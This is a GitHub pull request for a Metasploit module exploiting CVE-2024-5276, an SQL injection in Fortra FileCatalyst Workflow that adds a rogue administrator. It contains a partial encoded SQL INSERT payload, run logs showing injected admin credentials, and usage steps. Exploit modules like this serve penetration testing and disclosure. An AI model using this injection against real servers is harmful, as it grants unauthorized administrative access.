-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276) Module #19373
Conversation
Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
vprint_status("\tPW_CreationDate: #{pw_creationdate}") | ||
vprint_status("\tLastLogin: #{lastlogin}") | ||
|
||
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a way to format this a bit better, if only for maintenance/modifications' sake?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've split the string into multiple smaller strings, but I agree that it still does not provide great readability. Do you have any specific suggestions what else could be done?
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
Code cleanup
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @h4x-x0r! Thanks for your PR!
The exploit works fine but I noticed the code is repeated two times.
Logs:
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > exploit
[*] Running module against 127.0.0.1
[*] Starting SQL injection workflow...
[+] Server reachable.
[*] JSESSIONID value: 9961556DCE0FC38B6D5B8D4F97823852
[*] FCWEB.FORM.TOKEN value: EYr4RlkpGK2URuACgFKt
[*] Redirect #1: /workflow/createNewJob.do?.rnd2=8027650&FCWEB.FORM.TOKEN=EYr4RlkpGK2URuACgFKt
[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=8027658&FCWEB.FORM.TOKEN=EYr4RlkpGK2URuACgFKt
[*] Received expected response.
[+] SQL injection successful!
[*] Confirming credentials...
[*] FCWEB.FORM.TOKEN value: EYr4RlkpGK2URuACgFKt
[+] Login successful!
[+] New admin user was successfully injected:
gillian:ZEuKCYzN
[+] Login at: http://127.0.0.1:8080/workflow/jsp/logon.jsp
[*] Running module against ::1
[*] Starting SQL injection workflow...
[+] Server reachable.
[*] JSESSIONID value: E885733650D12A5558C99507700F9F16
[*] FCWEB.FORM.TOKEN value: QQjgtkZYMXuyYZ0baj4I
[*] Redirect #1: /workflow/createNewJob.do?.rnd2=8027685&FCWEB.FORM.TOKEN=QQjgtkZYMXuyYZ0baj4I
[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=8027691&FCWEB.FORM.TOKEN=QQjgtkZYMXuyYZ0baj4I
[*] Received expected response.
[+] SQL injection successful!
[*] Confirming credentials...
[*] FCWEB.FORM.TOKEN value: QQjgtkZYMXuyYZ0baj4I
[+] Login successful!
[+] New admin user was successfully injected:
gillian:ZEuKCYzN
[+] Login at: http://::1:8080/workflow/jsp/logon.jsp
[*] Auxiliary module execution completed
Thank you for reviewing the PR! Does this also happen if you specify a remote system, or when using the IP address of your local system? In both cases, I only get it executed once. From the output you shared, it looks like the loopback interface is being used, hence it is being run twice (127.0.0.1 for IPv4 and ::1 for IPv6). Is there a Metasploit specific way to prevent doing this when localhost is specified? |
Added store_valid_credential
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ok, After checking the latest changes I think everything looks good to me.
Thanks!
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > set rhosts 192.168.136.130
rhosts => 192.168.136.130
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > exploit
[*] Running module against 192.168.136.130
[*] Starting SQL injection workflow...
[+] Server reachable.
[*] JSESSIONID value: AF6686AF60868F7B69D4237A4B113B48
[*] FCWEB.FORM.TOKEN value: 0pY8KfI0k676jnVO6Iw9
[*] Redirect #1: /workflow/createNewJob.do?.rnd2=5810883&FCWEB.FORM.TOKEN=0pY8KfI0k676jnVO6Iw9
[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=5810891&FCWEB.FORM.TOKEN=0pY8KfI0k676jnVO6Iw9
[*] Received expected response.
[+] SQL injection successful!
[*] Confirming credentials...
[*] FCWEB.FORM.TOKEN value: 0pY8KfI0k676jnVO6Iw9
[+] Login successful!
[+] New admin user was successfully injected:
yuri:WoASjjyU
[+] Login at: http://192.168.136.130:8080/workflow/jsp/logon.jsp
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > creds
Credentials
===========
host origin service public private realm private_type JtR Format cracked_password
---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
192.168.136.130 192.168.136.130 8080/tcp (http) yuri WoASjjyU Password
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) >
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb
Outdated
Show resolved
Hide resolved
Code cleanup
Retested after the change, everything looks good.
|
Code cleanup
Guess we are all set, landing it.
|
Release NotesThis adds an auxiliary module to exploit the CVE-2024-5276, a SQL Injection vulnerability that allows for adding an arbitrary administration user in the application. |
Great, thank you! |
This is a new module which exploits an unauthenticated SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135 (CVE-2024-5276), by adding a new
administrative user to the web interface of the application.
Verification Steps
msfconsole
use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli
set RHOSTS <IP>
set RPORT <PORT>
set TARGETURI <URI>
set NEW_USERNAME <username>
set NEW_PASSWORD <password>
run
A new admin user should have been successfully added.
Successfully tested on